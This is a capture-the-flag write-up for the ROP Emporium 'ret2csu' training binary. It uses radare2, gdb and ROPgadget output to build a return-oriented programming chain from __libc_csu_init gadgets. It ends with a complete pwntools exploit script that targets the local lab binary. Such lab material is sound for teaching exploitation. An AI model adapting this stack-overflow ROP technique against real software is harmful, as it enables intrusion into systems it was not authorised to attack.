Writeup
Security protections:
$ rabin2 -I ret2csu
arch x86
baddr 0x400000
binsz 6783
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
We have the usual security protections enabled (NX, ASLR) and PIE disabled.
Let’s start the binary:
$ ./ret2csu
ret2csu by ROP Emporium
Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef
> woooooooow
Mh.. let’s analyze the binary with r2
:
$ [0x7f8178b78100]> afl
0x004005f0 1 42 entry0
0x00400630 4 42 -> 37 sym.deregister_tm_clones
0x00400660 4 58 -> 55 sym.register_tm_clones
0x004006a0 3 34 -> 29 entry.fini0
0x004006d0 1 7 entry.init0
0x00400714 1 157 sym.pwnme
0x004005c0 1 6 sym.imp.memset
0x00400590 1 6 sym.imp.puts
0x004005b0 1 6 sym.imp.printf
0x004005d0 1 6 sym.imp.fgets
0x004008b0 1 2 sym.__libc_csu_fini
0x004007b1 1 128 sym.ret2win
0x004005a0 1 6 sym.imp.system
0x004008b4 1 9 sym._fini
0x00400840 3 101 -> 92 sym.__libc_csu_init
0x00400560 3 23 sym._init
0x00400620 1 2 sym._dl_relocate_static_pie
0x004006d7 1 61 main
0x004005e0 1 6 sym.imp.setvbuf
[0x7f8178b78100]> s main
[0x004006d7]> pdg
undefined8 main(void)
{
sym.imp.setvbuf(_section..bss, 0, 2, 0);
sym.imp.puts("ret2csu by ROP Emporium\n");
sym.pwnme();
return 0;
}
[0x004006d7]> s sym.pwnme
[0x00400714]> pdg
void sym.pwnme(void)
{
int32_t var_20h;
sym.imp.memset(&var_20h, 0, 0x20);
sym.imp.puts("Call ret2win()");
sym.imp.puts("The third argument (rdx) must be 0xdeadcafebabebeef");
sym.imp.puts(0x400924);
sym.imp.printf(0x400925);
_reloc.puts = 0;
_reloc.printf = 0;
_reloc.memset = 0;
sym.imp.fgets(&var_20h, 0xb0, _reloc.stdin_112);
_reloc.fgets = 0;
return;
}
[0x00400714]>
Usual stack based buffer overflow, but in this case the got.plt
of the
functions is set to 0. Let’s disassemble the pwnme function to understand
better what is going on:
[0x00400714]> pdf
/ (fcn) sym.pwnme 157
| sym.pwnme ();
| ; var int32_t var_20h @ rbp-0x20
| ; CALL XREF from main @ 0x400708
| 0x00400714 55 push rbp
| 0x00400715 4889e5 mov rbp, rsp
| 0x00400718 4883ec20 sub rsp, 0x20
| 0x0040071c 488d45e0 lea rax, [var_20h]
| 0x00400720 ba20000000 mov edx, 0x20 ; 32
| 0x00400725 be00000000 mov esi, 0
| 0x0040072a 4889c7 mov rdi, rax
| 0x0040072d e88efeffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x00400732 bfe1084000 mov edi, str.Call_ret2win ; 0x4008e1 ; "Call ret2win()"
| 0x00400737 e854feffff call sym.imp.puts ; int puts(const char *s)
| 0x0040073c bff0084000 mov edi, str.The_third_argument__rdx__must_be_0xdeadcafebabebeef ; 0x4008f0 ; "The third argument (rdx) must be 0xdeadcafebabebeef"
| 0x00400741 e84afeffff call sym.imp.puts ; int puts(const char *s)
| 0x00400746 bf24094000 mov edi, 0x400924
| 0x0040074b e840feffff call sym.imp.puts ; int puts(const char *s)
| 0x00400750 bf25094000 mov edi, 0x400925
| 0x00400755 b800000000 mov eax, 0
| 0x0040075a e851feffff call sym.imp.printf ; int printf(const char *format)
| 0x0040075f b818106000 mov eax, reloc.puts ; 0x601018
| 0x00400764 48c700000000. mov qword [rax], 0
| 0x0040076b b828106000 mov eax, reloc.printf ; 0x601028
| 0x00400770 48c700000000. mov qword [rax], 0
| 0x00400777 b830106000 mov eax, reloc.memset ; 0x601030
| 0x0040077c 48c700000000. mov qword [rax], 0
| 0x00400783 488b15e60820. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
| ; [0x601070:8]=0
| 0x0040078a 488d45e0 lea rax, [var_20h]
| 0x0040078e beb0000000 mov esi, 0xb0 ; 176
| 0x00400793 4889c7 mov rdi, rax
| 0x00400796 e835feffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x0040079b b838106000 mov eax, reloc.fgets ; 0x601038
| 0x004007a0 48c700000000. mov qword [rax], 0
| 0x004007a7 48c7c7000000. mov rdi, 0
| 0x004007ae 90 nop
| 0x004007af c9 leave
\ 0x004007b0 c3 ret
[0x00400714]>
If the binary sets to 0 the got.plt
, it means that we can’t leak any address
on the got. However there’s a bigger problem, we can’t directly call
the puts, memset, fgets, ... etc
because their plt
is corrupted and
calling them would crash the program because it would try to
execute a jmp 0x0
, which is a non valid memory address.
We can prove the last deduction.
#!/usr/bin/env python3
from pwn import *
payload = b'a' * 40 + p64(0x0000000000400590)
open("./out.txt", "wb").write(payload)
And debugging step by step with gdb:
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/i $rip
>end
(gdb) disass pwnme
Dump of assembler code for function pwnme:
0x0000000000400714 <+0>: push rbp
0x0000000000400715 <+1>: mov rbp,rsp
0x0000000000400718 <+4>: sub rsp,0x20
0x000000000040071c <+8>: lea rax,[rbp-0x20]
0x0000000000400720 <+12>: mov edx,0x20
0x0000000000400725 <+17>: mov esi,0x0
0x000000000040072a <+22>: mov rdi,rax
0x000000000040072d <+25>: call 0x4005c0 <memset@plt>
0x0000000000400732 <+30>: mov edi,0x4008e1
0x0000000000400737 <+35>: call 0x400590 <puts@plt>
0x000000000040073c <+40>: mov edi,0x4008f0
0x0000000000400741 <+45>: call 0x400590 <puts@plt>
0x0000000000400746 <+50>: mov edi,0x400924
0x000000000040074b <+55>: call 0x400590 <puts@plt>
0x0000000000400750 <+60>: mov edi,0x400925
0x0000000000400755 <+65>: mov eax,0x0
0x000000000040075a <+70>: call 0x4005b0 <printf@plt>
0x000000000040075f <+75>: mov eax,0x601018
0x0000000000400764 <+80>: mov QWORD PTR [rax],0x0
0x000000000040076b <+87>: mov eax,0x601028
0x0000000000400770 <+92>: mov QWORD PTR [rax],0x0
0x0000000000400777 <+99>: mov eax,0x601030
0x000000000040077c <+104>: mov QWORD PTR [rax],0x0
0x0000000000400783 <+111>: mov rdx,QWORD PTR [rip+0x2008e6] # 0x601070 <stdin@@GLIBC_2.2.5>
0x000000000040078a <+118>: lea rax,[rbp-0x20]
0x000000000040078e <+122>: mov esi,0xb0
0x0000000000400793 <+127>: mov rdi,rax
0x0000000000400796 <+130>: call 0x4005d0 <fgets@plt>
0x000000000040079b <+135>: mov eax,0x601038
0x00000000004007a0 <+140>: mov QWORD PTR [rax],0x0
0x00000000004007a7 <+147>: mov rdi,0x0
0x00000000004007ae <+154>: nop
0x00000000004007af <+155>: leave
0x00000000004007b0 <+156>: ret
End of assembler dump.
(gdb) b *0x00000000004007b0
Breakpoint 1 at 0x4007b0
(gdb) r < out.txt
Starting program: /home/meowmeow/Security/wargame/rop-emporium/ret2csu/ret2csu < out.txt
ret2csu by ROP Emporium
Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef
> => 0x4007b0 <pwnme+156>: ret
Breakpoint 1, 0x00000000004007b0 in pwnme ()
(gdb) si
=> 0x400590 <puts@plt>: jmp QWORD PTR [rip+0x200a82] # 0x601018 <puts@got.plt>
0x0000000000400590 in puts@plt ()
(gdb) si
=> 0x0: Error while running hook_stop:
Cannot access memory at address 0x0
0x0000000000000000 in ?? ()
(gdb)
Ok ok, but we’re interested in calling ret2win
and setting the register
rdx = 0xdeadcafebabebeef
, let’s check what gadgets are available:
$ ROPgadget --binary ret2csu | grep rdx
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
They aren’t very usefuls, but we can increase the search:
$ ROPgadget --binary ret2csu --depth 20 | grep rdx
0x000000000040056a : add byte ptr [rax - 0x7b], cl ; sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040087c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x000000000040087e : add byte ptr [rax], al ; mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x0000000000400880 : mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400568 : or ah, byte ptr [rax] ; add byte ptr [rax - 0x7b], cl ; sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400880 : mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
is good enough. It’s possible to load the register rdx
using the value in r15
,
and call the address stored in [r12 + rbx * 8]
.
We’re very lucky if there’s a gadget to manipulate r15
and r12
:
$ ROPgadget --binary ret2csu --depth 12 | grep r15
0x0000000000400899 : or byte ptr [rbx + 0x5d], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040089a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
Yes! There is. If we look closely the gadget2 (mov rdx, r15;..
) and gadget1
(pop r12;...
) are very near (address). This is because they are both
in __libc_csu_init
:
disass __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x0000000000400840 <+0>: push r15
0x0000000000400842 <+2>: push r14
0x0000000000400844 <+4>: mov r15,rdx
0x0000000000400847 <+7>: push r13
0x0000000000400849 <+9>: push r12
0x000000000040084b <+11>: lea r12,[rip+0x2005be] # 0x600e10
0x0000000000400852 <+18>: push rbp
0x0000000000400853 <+19>: lea rbp,[rip+0x2005be] # 0x600e18
0x000000000040085a <+26>: push rbx
0x000000000040085b <+27>: mov r13d,edi
0x000000000040085e <+30>: mov r14,rsi
0x0000000000400861 <+33>: sub rbp,r12
0x0000000000400864 <+36>: sub rsp,0x8
0x0000000000400868 <+40>: sar rbp,0x3
0x000000000040086c <+44>: call 0x400560 <_init>
0x0000000000400871 <+49>: test rbp,rbp
0x0000000000400874 <+52>: je 0x400896 <__libc_csu_init+86>
0x0000000000400876 <+54>: xor ebx,ebx
0x0000000000400878 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400880 <+64>: mov rdx,r15 # GADGET 2
0x0000000000400883 <+67>: mov rsi,r14
0x0000000000400886 <+70>: mov edi,r13d
0x0000000000400889 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040088d <+77>: add rbx,0x1
0x0000000000400891 <+81>: cmp rbp,rbx
0x0000000000400894 <+84>: jne 0x400880 <__libc_csu_init+64>
0x0000000000400896 <+86>: add rsp,0x8
0x000000000040089a <+90>: pop rbx # GADGET 1
0x000000000040089b <+91>: pop rbp
0x000000000040089c <+92>: pop r12
0x000000000040089e <+94>: pop r13
0x00000000004008a0 <+96>: pop r14
0x00000000004008a2 <+98>: pop r15
0x00000000004008a4 <+100>: ret
(I call the number of gadgets in reverse order because it comes in handy later).
This gadgets are in the binary 99% of the times, in fact this is also called universal ROP, \(\mu\)ROP.
Problem
It would be very nice if we can just set the value of r12
equal to the address
of ret2win
and rbx = 0
to call ret2win
using gadget2.
However as I’ve written before the gadget2 is calling:
[r12 + (rbx * 8)]
.
So if we set the value of r12 = ret2win = 0x04007b1
, the binary will try to
resolve what is in the address 0x04007b1
and call it. However there will be
operations code not equal to a valid address.
I tried searching for mov [reg1], reg
instructions to write in memory
the address of ret2win
, however there weren’t any useful gadgets.
Solution
Using ghidra we can search a scalar, in this case between 0x400000 and 0x500000 (usually the functions are in this address range), and not intuitively we can try to see if there are some operations code equal to an address of function.
Example: in the address 0x600e48 there is :
[0x00600e38]> s 0x0600e48
[0x00600e48]> pd
0x00600e48 b408 mov ah, 8
0x00600e4a 400000 add byte [rax], al
0x00600e4d 0000 add byte [rax], al
0x00600e4f 0019 add byte [rcx], bl
If we take the operation code and convert it from little endian we obtain:
0x000000000408b4
If we try an objdump we will see that:
objdump -d -M intel ret2csu | grep _fini
00000000004008b0 <__libc_csu_fini>:
00000000004008b4 <_fini>:
Those operations code are in fact equal to the address of _fini
.
Let’s see what _fini
does:
0x00000000004008b4 <+0>: sub rsp,0x8
0x00000000004008b8 <+4>: add rsp,0x8
0x00000000004008bc <+8>: ret
WOW..
After the call, the program will continue and will executes the next
instructions in __libc_csu_init
.
Alternative
The dynamic
section contains a table of values (tags
) useful for the linker
to load the binary. In this section there are also some valid addresses
in memory like fini
and init
.
We can check them with radare2
as follow:
[0x004005f0]> iS~.dynamic
20 0x00000e20 464 0x00600e20 464 -rw- .dynamic
[0x004005f0]> pxQ@0x00600e20
0x00600e20 0x0000000000000001 section.+1
0x00600e28 0x0000000000000001 section.+1
0x00600e30 0x000000000000000c section.+12
0x00600e38 0x0000000000400560 section..init
0x00600e40 0x000000000000000d section.+13
0x00600e48 0x00000000004008b4 section..fini
0x00600e50 0x0000000000000019 section.+25
0x00600e58 0x0000000000600e10 section..init_array
0x00600e60 0x000000000000001b section.+27
0x00600e68 0x0000000000000008 section.+8
0x00600e70 0x000000000000001a section.+26
0x00600e78 0x0000000000600e18 section..fini_array
0x00600e80 0x000000000000001c section.+28
0x00600e88 0x0000000000000008 section.+8
0x00600e90 0x000000006ffffef5
0x00600e98 0x0000000000400298 section..gnu.hash
0x00600ea0 0x0000000000000005 section.+5
0x00600ea8 0x00000000004003c8 section..dynstr
0x00600eb0 0x0000000000000006 section.+6
0x00600eb8 0x00000000004002c0 section..dynsym
0x00600ec0 0x000000000000000a section.+10
0x00600ec8 0x000000000000006d rflags+41
0x00600ed0 0x000000000000000b section.+11
0x00600ed8 0x0000000000000018 section.+24
0x00600ee0 0x0000000000000015 section.+21
0x00600ee8 0x0000000000000000 section.
0x00600ef0 0x0000000000000003 section.+3
0x00600ef8 0x0000000000601000 section..got.plt
0x00600f00 0x0000000000000002 section.+2
0x00600f08 0x0000000000000090 rflags+76
0x00600f10 0x0000000000000014 section.+20
0x00600f18 0x0000000000000007 section.+7
Now we’re ready to build a final solution.
- junk –> ‘a’ * 40
- gadget1 and set r15 = 0xdeadcafebabebeef, r12 = 0x00600e48
- gadget2
- After gadget2 is executed the program will try to jmp in another location
if
rbx + 1 != rbp
, so in step 2 we must set the value of rbx = 0, and rbp = 1. Not viceversa or we modify the call[r12 + (rbx * 8)]
in the gadget2 instruction. (Read__libc_csu_init
to understand better this part) - Pop again some values in the registers (gadget1)…
- Ret2win function
If you’re unsure about the final solution, the best way is to debug the binary step by step, and see what the binary executes at every instruction (using the following exploit).
Exploit
#!/usr/bin/env python3
from pwn import context, process, remote, p64, log
class Sender:
def __init__(self, local, debug):
if debug == True:
context.log_level = True
if local == 'local':
self.conn = process('./ret2csu')
else:
self.conn = remote('127.0.0.1', 9999)
def generate_payload():
# print(lines)
# mov rdx,r15
# mov rsi,r14
# mov edi,r13d
# call QWORD PTR [r12+rbx*8]
gadget_2 = p64(0x0400880)
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# ret
gadget_1 = p64(0x040089a)
ret2win = 0x04007b1
deadcafe = 0xdeadcafebabebeef
payload = b'a' * 40
payload += gadget_1
# After the call we need to skip to jump that is being executed
# iff rbx + 1 != rbp
payload += p64(0) # rbx
payload += p64(1) # rbp
# 00600e48 dq _fini (Elf64_Dyn.d_val) 0x4008b4
payload += p64(0x0600e48) # r12
payload += p64(deadcafe) # r13d --> edi
payload += p64(deadcafe) # r14 --> rsi
payload += p64(deadcafe) # r15 --> rdx
payload += gadget_2
payload += p64(0) * 7 + p64(ret2win)
with open("./out.txt", "wb") as out:
out.write(payload)
return payload
def main():
payload = generate_payload()
snd = Sender('local', False)
snd.conn.recvuntil('>')
snd.conn.sendline(payload)
log.info(snd.conn.recvline())
snd.conn.close()
if __name__ == '__main__':
main()